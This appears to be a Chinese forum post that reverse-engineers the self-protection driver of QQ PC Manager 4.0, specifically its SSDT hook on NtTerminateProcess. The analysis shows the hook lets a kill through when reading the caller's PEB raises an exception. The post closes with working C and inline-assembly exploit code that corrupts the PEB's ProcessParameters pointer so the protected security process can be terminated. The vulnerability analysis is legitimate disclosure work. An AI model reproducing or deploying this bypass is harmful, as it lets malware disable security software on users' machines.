今天装了个QQ电脑管家4.0,看了看它的自我保护。用XueTr查看发现它的驱动TSKSP.sys对NtTerminateProcess进行了SSDT Hook。

于是逆向TSKSP.sys,把里面的FakeNtTerminateProcess抓出来看了看,发现TX做事情相当的纠结啊!

FakeNtTerminateProcess一开始先调用IoGetCurrentProcess()和PsGetCurrentProcessId()获得当前进程(即调用NtTerminateProcess的进程)的eproc和pid。

由于FakeNtTerminateProcess的参数中有目标进程的handle,于是它接下来通过ObReferenceObjectByHandle()由handle获得了目标进程的eproc。

接着通过对比当前进程的eproc和目标进程(即被terminate的进程)的eproc是否相等,来确定是不是自己结束自己,如果是就放行了。

如果不是自己结束自己,它又通过ObOpenObjectByPointer()将目标进程的eproc转换回参数里本来就有的handle(开始纠结了),然后通过ZwQueryInformationProcess()函数由handle获取目标进程的pid。这下他就有了当前进程和目标进程的pid,接下来他用当前进程和目标进程的pid分别取出这两个进程的名字。取法相当不给力:
先通过PsLookupProcessByProcessId()由pid取得很早以前就已经取得了的eproc(纠结……),然后通过ObOpenObjectByPointer()由eproc再一次取得handle(继续纠结……),接下来通过ZwQueryInformationProcess()由handle取得PEB,然后在PEB里找进程名:peb-->ProcessParameters-->ImagePathName。
最后最纠结的地方是,如果发生了异常,就直接放行……要知道PEB是在用户空间里的呀,要让它异常太容易了……


先看看它是怎么取peb-->ProcessParameters-->ImagePathName的:

代码:
push  [ebp+proc]
call  ds:KeAttachProcess  ;   attach上去,为了读peb
mov  [ebp+bIsAttached], 1

push  1      ; Alignment
push  1D8h      ; Length
mov  esi, [ebp+dwPeb]
push  esi      ; Address
mov  edi, ds:ProbeForRead
call  edi ; ProbeForRead    ; probe 一下 peb

mov  esi, [esi+10h]
mov  [ebp+var_3C], esi
push  1      ; Alignment
push  90h      ; Length
push  esi      ; Address
call  edi       ; ProbeForRead, probe 一下 peb-->ProcessParameters,这里我们就可以xx……
……        ; 略
漏洞利用代码:
代码:
int KillQQPCMgr(int pid) {
  // by Fypher

  HANDLE hProc;
  DWORD dwProcParam;
  int ret = 0;

  // xxx peb->ProcessParameters
  __asm {
    pushad
    mov eax, fs:[0x30]
    add eax, 0x10
    mov ecx, [eax]
    mov dwProcParam, ecx
    mov dword ptr [eax], 0xFFFFFFFF
    popad
  }

  hProc = OpenProcess(PROCESS_TERMINATE, FALSE, pid);
  if (hProc == NULL) {
    ret = -1;
  }
  else if (!TerminateProcess(hProc, 0)) {
    ret = -2;
  }
  
  // restore peb->ProcessParameters
  __asm {
    pushad
    mov eax, fs:[0x30]
    add eax, 0x10;
    mov ecx, dwProcParam
    mov dword ptr [eax], ecx
    popad
  }

  return ret;
}